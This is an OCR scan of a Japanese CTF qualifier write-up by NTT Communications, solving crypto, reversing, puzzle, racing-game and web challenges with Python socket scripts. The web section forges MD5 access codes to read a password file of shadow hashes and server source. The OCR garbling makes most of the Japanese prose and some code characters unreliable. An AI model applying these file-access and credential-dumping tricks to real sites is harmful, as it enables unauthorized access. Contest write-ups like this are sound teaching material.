MUICONY REEITUTCHEIN, BRI ST (CHEUPDETESIREDERDODNDFE
Ao TE1E. OSZRDON R (Is, cat /&) (TN T aeslite_encrypt EWDSEEQRIOIT >
RAERENTVDIRNRICIRDEFT ., OOV REBIHTER Iz 16 XFDXXFHI(CxE
LTI USDEEFRRZIRT KSTY,
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key-server% aeslite_encrypt

aeslite_encrypt <16 characters>

uses default key for encryption. Returns printable representation of
encryption for your convenience.

key-server% aeslite_encrypt deadbeafdeadbeaf

Here you go: SECRETca25613384a2e720252b3597143370a82

key-server% aeslite_encrypt deadbeafdeadbea®

Here you go: SECRETe8070777842e720252b3597143370a82

RIC. client /N1 FUDFEFZITWEUE. F—LXA MVIDA Pro T/\AF+U%EF1
2ILILL T NZOT, WBEEBOUNIBZ A MIFEAED TN & UITFOXIDSRRUITRRE
niBEZREDlFE U,

A) client (FH—/\EDiBE% aeslite_encrypt/aeslite_decrypt EWSEETIESIL - 18
FSUTUWD, COBEEDERE Round 1 D AES ThHB. ##(E/ A FUI(CTIBHIAENT
HD. [lthisisnotthekey!l T&H B,

int _ cdecl aeslite_encrypt(int al, int a2, int a3)

{
char v4; // [sp+16h] [bp-18h]@1

build_state_array from_string(al, (int)&v4);
AddRoundKey ((int)&v4, a3);

SubBytes((int)&v4);

ShiftRows((int)&v4);

MixColumns ((int)&v4);

return build string from_state_array((int)&v4, a2);

¥
NTT Communications Corporation g—
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B) client (I —/VEDBEDHRT [SECRET .] EWLWDNXFHZREL. BRI (CHRINIE
DERFEEL TS,

Do

// if recv_msg start with "SECRET"
// v3 =0, v4 =1
if ( lv5 )

break;

}
while ( v4 );

aeslite_encrypt /' Round1 @ AES 2O 12D T BIANIEXIRE(C K> THEESS
N3E9 T, ERICH—/)\D aeslite_encrypt IV RTERUEEX - BESXDONRT %
AW ziadE. UTFTOXFINESNE L.

DamnIhatecrypto!

SEZ client WRMEBDFFREEZEL CVBIXFINZEBLET. T/\WHTAEUZ
BERIDE. U—/NEOBREVEHMERICUTOME (EBRIC(E ascii XFHTE>R /AU
T—4) MEESNTE LB ENODMDFEL.

SECRETd1e70b1c3496ee591dcb51c64abf9c946411dee67c1722f4479342193¢cc746759cb
c36a69d1b78337b86beae34acboo3
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NZY—) ML TCVWERTES U THEET D, REISINESNF L.

The key is: Good enough for government work
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fi#sh 4 : gnireenigne (4 |K)

BEE NTTEF21 7T S5y hIA—LHKFF BKR —%

R

timecubed

Nature's Harmoic Time Cube http://assets-2013.legitbs.net/liabilities/timescubed

timescubed.shallweplayaga.me:1338

i

C ORI Tgnireenigne (UNN—XI>ZF7U>Y) | EWSTET, I\4FU%E
B TE2 URL &EH— /DB ENTVE T, F£I(E BEY—/UTnc IR
THEHRLU. EOLDIRIGENIRD T I EERL THET.

$ nc timecubed.shallweplayaga.me 1338

Gene Ray is thinking of a number..

It is between 0 and

E1%VvM:zcRuQ.n20DP< [ ?vx8) *FQ-={#+#yrWvXE ) ES4WcXD<0}4J }LmCr[QLXnqujfO
(FRES)

h.+YJ4V<XxW]9gm6 ! mmgy%IhF8Xj*@G. im#5=Y1umEnB.sIgbLb#vfIOA5:{vbfee8>

Can you guess it?

=5(C. BABNZ URLMSESULZ/\AFUZEEL. ESWS/AFUNEHEN
TWLWBDH e file ON> R THERLE T,
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$ file timecubed

timescubed: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV),
dynamically linked (uses shared libs), for GNU/Linux 2.6.24,
BuildID[shal]=0xa90a1568fc07f6c9c00d15591c485fff34ef30cb, stripped

file O > ROERMNS. 5X5NTZ/\AFUIFELF (Executable and Linkable
Format : Linux DETI7AILIA -V B) T7AILTHDERMDFELZ, £ZT/N
A3+ U% IDA TRELCHEYS. TOTSLDORYDED ZFIT L THD L. BIET—/C
DERUKLDIC TCP1338 R— M TEHFH T DK DICIRDTVWET, Fie. ZD/\AFUDmH
(C(E nc OY> RTHRIEY —/\(TEFR LIz £ S (SR> T BXFH ERROEDH R EN
F9, WHo>T. EASNETOVSASHEEYS—/\TEMHES 2 —/\TOJSLATHDEE
ZB5NEY,

loc_8049825: ; CO XREF: 5ub_8@497CA+417j
lea esp hin F
mov
mov
mov
mov
mov
mov
mov
mov
movzx
mov
call
mov
mov
lea
mov
mov
mov
call
test
jns
mov F rgl], offset aErrorOnBinding
call .
mov esp func_argl], ; status
call

loc_80498A7: ; CODE XREF: sub_80497CA+C3%j
mov F
mov
mov
call
mov esp addr_len],

16 TCP1338 /R— MC bind I3 HEDI—R
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EOVUBRT L. CcOB—N\TOJ3 Al Y—)\WBNERUIET—FETSAT7>
MSRITED 12 13 /N1 b DT —FZBEL. 517> b S@EYIRANEZITED
B RICEY—/N\EDRED) RICRESNIZF—T 7ML ZISA T MIXETD. &
WDAUBNHESRTEE T, DT, =/ \WBRESNET—FZEE(CISAT7> MIT
FUWERZEBEH U, ZNZY—/\(CXEITDIETISVIZEIEGITD. ELWSFIET
BBz Z&[IRDFT,

loc 804949B: H XREF: handler+2127j
mov Func_argl], ; seconds
call _alarm
mov [esp+ Fu ; ; flags
mov g3], ; N
lea p v b

mov Fu g2], eax ; buf

mov bp+f

mov Func_argl], eax ; fd

call

mov

lea

mov

lea

mov
.text:P80494DF call
cmp
jnz
mov
mov et
mov Func edx 3 modes
mov Fu ; Tilename
call
mov
cmp
jz

fHEDd—FK

ZIZU. CTF FEFEFEA RSN TVET, —/ISXDRAFNET - (CHIET D
BERZTE I BHDT7IVT VX LZEFTHES DICIFEFRN S, I\A T ZsRdH
<HEIICHEEY —/NICHRAIXEZZXET DTN — b ITA—RXZRITLUTHE. BEZED(IC
BALET, @EFLLEDT—HEF13)A KT B—)\BIOSA7> MIXETDIAYEZ—
TEERITDE. MEGRETHDZENFEENFTT, £IT. UTFDOKRSIRRIUT K
ZEE. 13 TOBFaEADRME UTRITHRITET.
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import socket
defcon_env = ("timescubed.shallweplayaga.me", 1338)
bufsize = 1024*10

def make_connection(key, dest):

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect(dest)
buf = ""
while True:

buf += sock.recv(bufsize)

if "Can you guess it?" in buf:

break

recv_rand=buf.split("\n")[3]

sock.send("%d" % key)

buf = sock.recv(bufsize)

sock.close()

if "Wrong" not in buf:
print key, buf
return True

else:
print key, buf
return False

def bruteforce(start, end):
for key in range(start,end):
if make_connection(key, defcon_env):
print "correct"
return

sz = 100000

min_try = ©

max_try = 1000000000000

for i in range(min_try, max_try, sz):
bruteforce(i, i+sz)
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TIb— b IA—=RZEARNTTHBNT, WSIAFUMR. EBolc&ZATURIRA, &
BHITHhSHERNBVEETUTOXR SR ISV IZES TETLHRNE L. ZNICT
gnireenigne M 4 fEEFTE T T,

The key is: Top bottom 8 sides that's dumb mwS9fvn49
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fi#5h 5 : OMGACM (1 R)

BEE NTTEF21 7T S5y hIA—LHKFF BKR —%

iR
pieceofeight

squaaak, pieces of eight. pieceofeight.shallweplayaga.me:8273

i

C DRIRE(FS(ElD DEFCON CTF F:EDRREDOHR TE MG DT (CEDHEHD LD
(CIRDTZMIRET. CTF FECSIMUTZZ < DA BEBDIMEAILTHSSMETY ., HE
%(Z Tpiece of eight] . &DdX T [piece of eight] EWLWDSSEE(CMAMEKIZHDDH
ERBVWAH -y FTIRELTHD & 15 HIBBEICRA A TRB L TULERED S
EZIEILDTY,

BB TEY—/DEHRMNEH N TNET. sUICTOT—/NCH LT nc O RT
BHRUTCHDE LTOLSIREEMNMRNELUZ. GRRTIMN,. 2D pieceofeight D
(. BRDED CTF FEOR TELBRNBE<IMDBOHD LD (CRO>IZHETT . RED
—NEFH—BUHIEZISNTEST. TOT—/NCEZLDEMENREILTUE > Zfzs.
IFBCL AR ANELIZD TVE L. &, EEAHN ST —/ZEMUZEDF D>
ARBD., EDRIETZWVWRT7Z ALY <RDFELR, )

. . Global ICT Part
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$ nc pieceofeight.shallweplayaga.me 8273
I I I I
I | 5 | 2 |
I I I I
I I | |
| 6 | 1 | 8 |
I I | I
I I | I
| 7 1 4 | 3 |
I I | I

ESPS [ARAUIRE] E(FBMENELS. [8/XAL] ZfE<BREDLSTY., 8/
)LEF 3x3 DEREICTFEITD 1 MBS 8 HFTHOINZE., AT REERNSIEULVIES
(CIRBDELDCANRD/ICILTY, CDORREE. 8 /KRN ZRL ETSVIZAFTED. &
WS EDTFRVNE DR TR TEERY, 122U, /(RILDEINEIASA REED
FHEFBSMNIESNTULRWZS, nc TH—/NTEHRLUTERL RF—Z AN L. BNISH
IBIRIGE RGN SBIEEZHR O TVWEFT . AEMILTVDE, UTOLSBF—%
KETDZLET, KA ZERSA Re@BdIENTEDZENOMDFELE.

u: £ (up)

d: F (down)

. & (left)

r: %4 (right)
III:T_—é: ?JngIT?sua?\I\(;: it_lé)Qg’Cé)hriF;(())?; I—(I)<TJ, Tokyo ﬂ'l'TCommunicétions Elﬂf’ﬁlﬂglbﬂﬂ'ﬁm’.‘if
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Fle. F—E—DANULTHEY—/)DIHENIRD T 3D F ONE(FRL, EiRL
TIREZRELTELIVWSEMDOMDF U, EFEHY—/IOBEETE3 8 )\ X)L %f#
WCHT. ISVIEBETETIONEHRELUTHET,

MUICERSNEZ 8 /AL ZERES & UTDRIRBRFRICIEADET.

| | I |
11 2 | 3 |
| | I |
I I I |
| 4 | 5 | 6 |
I I I |
I I | I
| 7 1 8 | |
I I | |
solved

Press a key to start again:

ZDEDIC. —FBVWZRIITEIS VI ERRESNETA. FEBEEAINDITES
& [Too slow] EWSEREH(C, BEHEAMIMENTLUEVET, COREDZ v ILA
[OMGACM (FUSTOJS =20 BIETTOISZ2 T2 EVWDI DY UILTHD
EHFBND) ) 1 EWDTE (WO CTFOMETHDIZE) BEXDE. D8I )=
AIEEHXSRTOTSLEZED. TSYVINFICABETHRSHINELNDTER
N EEBXBNET,
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8 )V EBEL VIVTUXAIFA>F =Y NTRETDESHETEFI, BT
O—RZR/LTVNB ETAEZSHFELTVET, SEIF. 8 /AL ZHE<HY>T)IL—
RELTZE (http://brandon.sternefamily.net/files/8-puzzle.txt) (CHBEH TN TUL\D
BEDOZEEVNELURLE CGREGZOUZIOMNSH T)LO— REEISTE/RAVMERRTY) . 2D
BTN O— RER-X(C. B—)/\WSEEZESTD0— R, MEZRFIRzRIF—
DHEAEDEZES LY —/NCXETDO— R, MEECHEBEZEDRUES ZHOT— Rz
EBIULET . &AEMNICEUTOLSIBRO—-RZERTLELEZ. (BEEDRWESD DTt
O— REFARDHCIEDTVET, )

#!/usr/bin/python

# A* 8-Puzzle Solver

# Copyright (c) 2005 Brandon Sterne

# Licensed under the MIT license.

# http://brandon.sternefamily.net/files/mit-license.txt

import sys

import heapq as h #for the priorty queue

import copy as ¢ #to make deep copies of our data strucutres
import time

import socket

import re

priv_blank = -1

### GLOBALS ###

# user's choice of heuristic

choice = ©

# lookup table for Manhattan distances
# we use nested dictionaries (hash tables) for constant lookup time

# the entry md[i][j] gives us the manhattan distance from square i to j
md = {1:{1:0,2:1,3:2,4:1,5:2,6:3,7:2,8:3,9:4}, \
:{1:1,2:0,3:1,4:2,5:1,6:2,7:3,8:2,9:3},
:{1:2,2:1,3:0,4:3,5:2,6:1,7:4,8:3,9:2},
:{1:1,2:2,3:3,4:0,5:1,6:2,7:1,8:2,9:3},
:{1:2,2:1,3:2,4:1,5:0,6:1,7:2,8:1,9:2},
:{1:3,2:2,3:1,4:2,5:1,6:0,7:3,8:2,9:1},

a U1 A~ W N
~ - -
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7:{1:2,2:3,3:4,4:1,5:2,6:3,7:0,8:1,9:2}, \
8:{1:3,2:2,3:3,4:2,5:1,6:2,7:1,8:0,9:1}, \
9:{1:4,2:3,3:2,4:3,5:2,6:1,7:2,8:1,9:0} }

# Node class for building our search tree
# each game state that is examined is encapsulated inside a node
class Node:
# the node contains a board state, the f cost and h cost
# as well as a pointer to its parent to be used when reconstructing
# the path from the start node to the goal node
def __init_ (self, contents, cost, hcost = 0):
self.contents = contents
self.cost = cost
self.hcost = hcost
self.parent = None
def setParent(self, parent):
self.parent = parent
# overload the <= operator so we can maintain sorted order in our queue
def __le (self, other):
return (self.cost+self.hcost) <= (other.cost+other.hcost)

# getKids function takes a node and returns a list of the node's children
# the "moves" argument is a dictionary containing lists of valid moves

# that the blank square can be moved to

def getKids(node, moves):

global choice #user's choice of heuristic
kids = []
child = Node(None, @) #child node to be put in list of children

board = node.contents
pCost = node.cost #parent cost used to determines child's f cost
for square in board.keys():
if board[square] ==
#generate a child node for each of the possible squares that the
#blank square can be moved to
for move in moves|[square]:
temp = board.copy()
temp[square] = board[move]
temp[move] = board[square]
child = Node(temp,pCost+1)

NTT Communications Corporation g—
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if choice is 1:
child.hcost = ©
elif choice is 2:
child.hcost += misplaced(child)
elif choice is 3:
child.hcost += manhattan(child)
kids.append(child)
return kids

# goal test for our search
def isGoal(node):

if (node.contents[1] == 1) and \
(node.contents[2] == 2) and \
(node.contents[3] == 3) and \
(node.contents[4] == 4) and \
(node.contents[5] == 5) and \
(node.contents[6] == 6) and \
(node.contents[7] == 7) and \
(node.contents[8] == 8):

return True
else:
return False

# reconstructs path backwards from the goal node to the start node
def getPath(end, start):
current = c.copy(end)
path = []
path.append(end)
while current.contents != start.contents:
back = current.parent
path.append(back)
current = back
path.reverse()
return path

# prints the contents of a node in human-readable format
def printNode(node):
global priv_blank

tmp = []
NTT Communications Corporation g—
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move_pattern =

for i in range(1,10):
value = node.contents[i]
tmp.append(value)
zi = tmp.index(0)
if priv_blank < @:
priv_blank = zi
move_pattern=""
else:
if priv_blank % 3 I= zi % 3:
if priv_blank > zi:
move_pattern = "r"
elif priv_blank < zi:
move_pattern = "1"
else:
if priv_blank > zi:
move_pattern = "d"
elif priv_blank < zi:

move_pattern = "u
priv_blank = zi

return move_pattern

# Misplaced Tiles heuristic function
# for every square number that doesn't contain the correct tile, add 1 to
cost
def misplaced(node):

distance = 0

for i in range(1,9):

if i != node.contents[i]:
distance += 1
return distance

# Manhattan Distance heuristic function
def manhattan(node):
# lookup table for Manhattan Distances

global md
NTT Communications Corporation o
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distance = 0
# for every square not containing the blank, add the Manhattan Distance
# to the cost
for i in range(1,10):
if node.contents[i] != 0:
distance += md[i][node.contents[i]]
return distance

# main search driver

def aStarSearch(board):
# create priority queue to store nodes
pq = []
h.heapify(pq)

# dictionary to define valid operators (legal moves)
moves = {}

moves[1] = [2,4]
moves[2] = [1,3,5]
moves[3] = [2,6]
moves[4] = [1,5,7]
moves[5] = [2,4,6,8]
moves[6] = [3,5,9]
moves[7] = [4,8]
moves[8] = [5,7,9]
moves[9] = [6,8]

# dictionary to store previously visited nodes
visited = {}

# put the initial node on the queue
global choice
start = Node(board, 0)
if choice is 2:

start.hcost = misplaced(start)
elif choice is 3:

start.hcost = manhattan(start)

# record start time

time® = time.time()
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# put the initial node on the queue
h.heappush(pg, start)

# keep track of maximum number of nodes in the queue
maxNodes = ©

while (len(pqg)>9): # while the queue is non-empty
# keep track of maximum number of nodes on the queue
if len(pg) > maxNodes:
maxNodes = len(pq)

# remove the first (minimal cost) node from the queue
node = h.heappop(pq)

# static cast of the current puzzle state to be used as a hash key
visNode = tuple(node.contents.items())
if visNode not in visited:
# print "The best state to expand with a g(n) =", node.cost, \
# "and h(n) =", node.hcost, "is...\n"
# printNode(node)

# goal test
if isGoal(node):
return "\n\nGoal!!\n", node, len(visited), maxNodes, \
time.time() - timeo
else:
# print "\tExpanding this node...\n"
# if not the goal, generate a list of children and put them on
# the queue
kids = getKids(node, moves)
for child in kids:
child.setParent(node)
h.heappush(pg, child)

visited[visNode] = True

# if the queue is ever empty, no solution exists
return "Sorry Charlie. No solution.", start, len(visited), maxNodes, \
time.time() - timeo
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def printHelp():
print "-p\tPath: reconstruct full path to goal™
sys.exit()

def print_table(tbl):
for i in range(3):
for j in range(3):
sys.stdout.write(tbl[i][j] + " ")
sys.stdout.write("\n")

def main():

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("54.224.56.176", 8273))

table = [[@J@:O]J[9:9:9]1[9)9:9]]

global choice
global priv_blank

choice = 3

buf = s.recv(4096)

cnt = 0
while True:

tmp = buf.split("\n")

print tmp

while tmp[1l] != "------------------- s

tmp.pop(8)

start = tmp[3][3] + tmp[3][9] + tmp[3][15] + tmp[8][3] + tmp[8][9] \
tmp[8][15] + tmp[13][3] + tmp[13][9] + tmp[13][15]
start = start.replace(" ", "0")
print("start:%s" % start)

+

# default board contents

board = {}

for i, c in enumerate(start):
board[i+1] = int(c)
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result, goal, visNodes, maxNodes, time_ = aStarSearch(board)
start = Node(board, 0)
path = getPath(goal, start)
ans = ""
for i in range(@, len(path)):
ans += printNode(path[i])
#ans += "\n"

priv_blank = -1

print("ans:%s\n" % ans)
s.send(ans)
while True:
buf=s.recv(4096)
print buf
if "again:" in buf:
break
cnt += 1
print "%d problem solved." % cnt
s.send("y\n")
buf = s.recv(4096)
print(buf)

AL, 59 B 8 /\XILDOMEZBENZE A TUTDLSIRT—FET—) 5215
L. COMBDISYIZB|ERS CEE L.

The key is: enemas on parade
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fi#5h 6 : OMGACM (3 R)

fREE CNTT OLtFa21 U+ PH Kis

R

grandprix

stay away from the zebras. grandprix.shallweplayaga.me:2038

i

COMBFHEBCA-T>ENFE U, BMEDS NMUE [JS5>TU] T I2XIX
([CRADMBRNKDIC] EWDIERMNEEENTLET . DEFCON CTF (CFR5T% <D CTF
TIEMEX(FIFRICS > TILTH D, MZERITNIRVDD,. ESUVDIL—ILDOZHRD
MNE—IRENT. BOTRERREITDECANSIHDRTNUIRDERA., L—2205—A
ZOUVIIBENEFRENEIN. CNIETTEEERMDMNDEFFA. CNETORE
ERRRICT O R%ED FQDN ER— RESHRENTVEIODT, FJ(E nc TEHREL TH
ESC

$ nc grandprix.shallweplayaga.me 2038
Use 'l' and 'r' to move. Don't crash.
Press return to start
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RSN ESD Enter 29 & TF—LHAY—KUET,

HRMEE Tul EVWDXFRARRSN. I—TDANFELRDFLE, =5I(C Enter
ZIT & BRADR LEICXFHRRSNE LU,
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fAEM Enter 2 LU THUTHD L. BRIENFNERRSNT 1 EIDFICRoIO-IL
LTEFEY, Enter 2 3@ I & FROLDPREERDF L, 32TV £WD
4 NS, BETEO [ul FEDOET. EHS5X00-)LUTL IXFIESHD
ATZTORTHD EHRENFT,

BRI (CRENTWVWBDESD. [rl 2 (1] ZABDUT Enter 29 &, BODEFHA
(right) & (left) ([CBELET. [r] ZASDUTEnter 2T & UITFDKRDICEN
AlCBEBLTATZT M 1 EBETFICRoOO-ILLELRE,

|----- I

T X]|

| T |

I I

| c |

|z I

I I

I I

I I

| u |

|----- I
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INFTOAETNS, BEMZEITTEZEDHDL DIV REXEUKITDRIEIE &
DHDFET, EIDLIARDE, ATZT O MNMIFATOEENG D ENDHDF U,
CNSEFETEEWT. B> TREWIRWT ES/ERTEET,

T: Tree ~: snake
Person Z: zebra

c: car X: road block

r:  rock |: wall

Bixd+C. OMGACM (guerilla programming)® 1 ;2 & 2 ORI, 3 TR PD
I TOTSLZER L TY—RXO— RZ2AHELTND LD, K<ABSNTLDIHER
MENEMTUIEDT. TNSZFRALUTFI—Z20FDRXFILAKRDHSNDHET LT,
CORREFA Y ZFHI)ILDORIERD T, —hSEDTVIINIUXLZEZEZ IO LZEL
WHENBDFET,

EFWR. BEEWMZRITTCEDTE T THNIEH UL FHDEFEA. BIRESRZERLT
REBERRTEENZ BTN SHEMICRESEST OIS Lz LE U,
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import sys, socket, struct, time

def get_map(buf):
table = [[@]*5 for x in range(9)]
lines = buf.split("\n")

j=o
for i in range(len(lines)):

crash.", "Press return to start"):
continue

table[]j] = lines[i][1:6]
j+=1

return table

def search_path(table, pos_x, pos_y):
if not table[pos_y][pos_x] in (" ', 'u'):
return 0
if pos_y == 0 and table[@][pos_x] == " ":
return 1

if search_path(table, pos x, pos.y - 1) I= 0:

return

if pos_x < 4:
if search_path(table, pos x + 1, pos .y - 1) I= 0:
return "r"
if pos_x > O:
if search_path(table, pos_x - 1, pos_y - 1) != 0:
return "1"

return ©

def print table(table):

if lines[i] in ("", "|----- |", "Use 'l' and 'r' to move. Don't

pr‘int(ll _____ ll)
NTT Communications Corporation g
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for i in range(9):
print table[i]

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("50.16.11.51", 2038))

s.send("\n")
pos = 2
buf = s.recv(1024)

while True:
buf = s.recv(1024)
if buf.find("hit") >= @ or buf.find("slow") >= 0:
sys.exit()

table = get_map(buf)
print_table(table)

ans = search_path(table, pos, 8)

print("ans:" + str(ans))

if ans == "r":
pos += 1
if ans == "1":

pos -=1

s.send(str(ans) + "\n")

COTOUSLZETIDE. BEEMZRITIINSKICEHITEUZ. CDFEFEA
TO=ILINUETSTZAFTEINE UNRBWNWERWE LA, WEDZSHEEICFNE
Fth., TOJSLZETLUT2HBBLIZETAT [Too slow!] EFRRSNIEGZ IR
SNTLFEVFE U,
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Too slow!

CITPATTICEEDELUR, TOTSLDOFTEREITD TIEDEDDETERHE
F—BT. U=/ \DSDICEFENE(CGROD TEEIDTRY ND—T LDEEN DD KLDI(C

BRFETA. BRECCNUEESRIETEDEZANRBVESIRIMNDIZDT, HAHEHL
TOWRWL—ILWBIDIEEER. AT 10 hORICEEY TIIRLAR—FZATAF LN
EFENTULVRVD, EAEDEMRTINTVIEFADRLD, IREBLIRIENZ LEIHNEH
MIMNE9,

2B SUMBRLIEE T BT, F—LXAIN ROV REFITTORMET D EE LD
TEITSNBCEZRRBUE U, HIRE Trrr]l EABDUTEnter 239 &0 AIC 25058
BUTESWATIC 2 BRIO-ILUELUR. TNEASRES MERDEUI,
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ETBM Trrrl THNUE 3EDEITSNDERSONEBTIN, EREF 25 UME
TENT . COEBNEFETETFEATUR, RIC Trrrrr] THI & BIC3TRE LI
DAFNBELIED & BENEXTDFEA. CNTREULLEICEHRITDCENTEE
TA.
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FZZTT2HRIEFEEMAF UM, SMATIEROER [r(EIT73— B)r(@i73— B)r(tk
TO—R) EANTDE BEESD IFEACE<ZEMDMDFELE. (2L, O
V—=ILETHITZXELL S E LT Enter Z# T L ZDHBTOANVY RAXRESNTLED
DT, JOUSLZEFNT [r(@TI— R)r@T3— R)reiTd— R) ] ZXIRENDD
FUR. )

CDIL=ILICEDNT 6 FRDIARY REFEHTEETDLD. TOTSLZUTD
KIOIIEIELF UL,

import sys, socket, struct, time

def get_map(buf):
table = [[@]*5 for x in range(9)]
lines = buf.split("\n")

j=20
for i in range(len(lines)):
if lines[i] in ("", "|----- |", "Use 'l' and 'r' to move. Don't
crash.", "Press return to start"):
continue

table[]j%9] = lines[i][1:6]
j+=1

return table

def search_path(table, pos_x, pos_y):

ans = mn
if not table[pos_y]l[pos_x] in (" ', 'u'):
return ©

if pos_y == @ and table[@][pos_x] == '

return

d = search_path(table, pos x, pos .y - 1)
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if d = @:
return " " + str(d)

if pos_x < 4:
d = search_path(table, pos_x + 1, pos_y - 1)
if d !I= 0o:
return "r" + str(d)
if pos_x > @:
d = search_path(table, pos_x - 1, pos_y - 1)
if d !I= 0o:
return "1" + str(d)

return 0

def print_table(table):

for i in range(9):
print table[i]

def str_count(string, match):
n==2
while string.find(match) >=0:
string = string[string.find(match)+len(match):]
n+=1

return n

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("50.16.11.51", 2038))

s.send("\n")

pos = 2

buf = s.recv(4096)
count = 0

while True:
buf = s.recv(4096*16)

if buf.find("hit") >= @ or buf.find("slow") >= O:

sys.exit()
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table = get_map(buf)
print_table(table)

ans = str(search_path(table, pos, 8))

send _len = 6

ans = ans[:send_len]

print("count:%d, ans:%s, pos:%d" % (count, str(ans), pos))
pos += str_count(ans, "r")

pos -= str_count(ans, "1")

for i in range(send_len):
msg += str(ans[i]) + "\n"
s.send(msg)

count += send_len

BOTOT S LAEFERICIRSRVNIETRISED LS (CRDFELS, ENTE

[Too slow!] MERENF Uz, FHIT(RIEMNRLUTHDE. UTOLSR [=====

EVWDXFMETEFHLUR,

r P
uz
Traceback (most recent call last):

File "solve.py", line 85, in <module>
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msg += str(ans[i]) + "\n"
IndexError: string index out of range

JOU03AER T=] EWDATZ O M EEEMER#MU TERICED LHDOIT R
FITCTET. FINIS—TERTUTVET, TSLEFONEBVERVELLELIZN,. N
FT=ILSA > TEFRONDNEVWSERMNSDELUEDT., (=] ZERAUTERISEDLDST
OJSAZEELT, SSCAENTF VLIS UELRE. FEAER [Too slow!] TURE
N ERCERARPETIOTISLANEREELRTUET, J-IILURBOXAYE—>2T005
LPUBTEZ TULRULDE ULNRBWERSTZDT. JOJSARTHRICEEL TWLWZ/\T Y
N+ TF v %& strings N> RTHARZECSE, FRESDTIORCHEIEFENTULE
Ulce INZREL TERZFDIIENTETHLU

# strings prog30@.pcap | grep -i key
You won this game. Push a key to play again
The key is: all our prix belong to you
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fi#5h 7 : 3dub (4 R)

REE NTTIZ21Z5 -2 3> X figlg Eic

R

rememberme

http://rememberme.shallweplayaga.me/

i

3dub (E Web DEFDORIETY (3dub = WWW) , EIENXI(CHD URL (CT77IOTEXRXTD
EB1DEDIBR—ZHIENET,

Admin Files

usernames.txt
passwords.txt

Login Here

18 bYyIR—>

usernames.txt (C 71X TDE. FTRDOEIDICIA—TEZEBUETXFIDO—ENES
nxd.
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Acces granted to username.txt!

jeanluc
riker
spock
tiberius
bones
crusher
deana

—73. passwords.txt (CFOTEAUBZEF. POCRZEEENTLRVET,

Invalid access code

CCT. bWIR—ZDHTML ZIRLS & FTOLSICRD>TVET, ER—ZADYU>
21 getfile.php Z#RHAIT DA ERD>TLWT, ITUINS A= ELUT filename &
accesscode WNEENTWLWB T ENDHOMDET,

<a href="getfile.php?filename=usernames.txt&accesscode=60635c6862d44e8acl
7dc5e144c66539" >usernames. txt</a><br>

<a href="getfile.php?filename=passwords.txt&accesscode=60635c6862d44e8acl
7dc5e144c66539" >passwords.txt</a><br>

<br>

<a href="login.php">Login Here</a>
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accesscode (& 0~9. a~f 573D 32 XFDXFIERODTHED. UIESLKERD L.
MD5 /\w=afESLWVWEWDS T ERDMDEFT . accesscode (FEESDT 7 AILTEHEH
WBE/RDTWVEIM, usernames.txt DIFEDH 7 ITLATETDZENSWNBNBH LT
#D &, accesscode 1 filename D MD5 J\w = 1 fBICIRD TWLWB S ERDOMDET,

$ echo -n usernames.txt | md5sum
60635c6862d44e8acl7dc5e144c66539 *-

€T, passwords.txt [CDWLWTH MD5 /\wv>1fEZFTE L. URL D accesscode
HEZIMITIV7IOLRAUTHDE. passwords.txt NADF I IMNKINUET,

Acces granted to passwords.txt!

jeanluc:$6$3/3$zezZMHwc4axqYIZk5nUHD8uUwCtz7uU4EjcgVHrIsN2tW2BiMGWTPrC2sI1
KD4B30820/nShpYOLtctLIihl15.0:15868:0:99999:7:::
riker:$6$CkoJSeZPINPtRxZo$05NBiK5LPXXBszv5cUf4wS4tkKCHtcBM4Q8JuzzXyz38mKQ
pPGrcwNST1PmjCkgGDT1wVnqCSpBWhRGFmMMKRQO:15868:0:99999:7: : :
spock:$6$h7AXUSUlWYM7BGY62mA/x4RjDAIZoTEQhZnMiU. .0Jwz/n.NbvGMT5FuDuiY3Mrk
WPrj6HWDUMYIPdTa/js2UO9EC6ER. :15868:0:99999:7:::
tiberius:$6$g8fas1AItAy850vS$TThxf6HROOZHC7 .ekPnLssf67TM2ELpus@gCHEVQVQno
ix.mnRd3@EdYuF7gpoRniWfKFq.zk8pXeJk2Ug7P0ko:15868:0:99999:7:::
bones:$6$t5TXeDOjYTRe.DCT$tW/qq5gxN79Isce6clU7FtNYEkZSOnFa4TgSbU4/VsPTz.u
S1b.e3dvNrVUGXJCBL151FxxCct3iJTnqC3aeql:15868:0:99999:7:::
crusher:$6$1cNogvGgHLAOMm2xP$OTVIOMt11PmnL1ZIi/iXFzBYYEBWAXLzYYTYT41FZRg451
WSsb61JulVtw5S5WyOWSNIINRICECINgErn341vZ0y/:15868:0:99999:7:::
deana:$6$hn4gRZq3b6PEFVMN$YckwH8. . bO5awtPUX718994GT62S8075HWdtyRnBBYh4 . AM
0G6VIWNglIWYMZPAFDmMDIcgOmMe5E9ZWEpGHpbO:15868:0:99999:7:: :
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CNZ{#L) John The Ripper IRETTIL— b T A4 — BRI NEEX D/ (X T— RHE
5. login.php 5004 > TEZSTIN, EETNEFETOSELWEFEEA.

getfile.php Z#H L C. passwords.txt &[E#kIC MD5 /\wv > 1{E%Z51&E U login.php
NDTF IR %ZHHD E login.php DY —XJ—RZERBZENTEET,

Acces granted to login.php!

<html>
<title>Remember Me</title>
<?php
if ($ SERVER[ 'REQUEST METHOD'] == "POST") {
echo "<font color='red'> ACCESS DENIED!</font>";
1
?>

<body><form id='login' action='login.php' method="'post' accept-
charset="UTF-8'>

<fieldset >

<legend>Login</legend>

<label for='username' >UserName:</label>

<input type='text' name='username' id='username' maxlength="50" /><br>

<label for='password' >Password:</label>
<input type='password' name='password' id='password' maxlength="50"
/><br>

<input type='submit' name='Submit' value='Submit' />

</fieldset>
</form>
</body>
</html>

NTT Communications Corporation g

. 1 1ICTP
1-1-6 Uchisaiwai-cho, Chiyoda-ku, Tokyo NT T Communications Enggﬁe.n&amjsr;mi:
100-8019, Japan e




NzR>3 &L login.php TEDKSRI—HE - J\IRDT—REANIZEZSTOTA
STERNTEMNMDOMNDET,

=T, ENTERESTNEXNDTULE DM ? WBNWSHUTHDE. getfile.php Z#E
HUT. getfile.php BEDY—XO— RE/IZENTEDITENMOMNDFT,

Acces granted to getfile.php!

<?php
$value = time();
$filename = $_GET["filename"];
$accesscode = $_GET["accesscode"];
if (md5($filename) == $accesscode)
echo "Acces granted to $filename!<br><br>";
srand($value);
if (in_array($filename, array('getfile.php', 'index.html', 'key.txt',
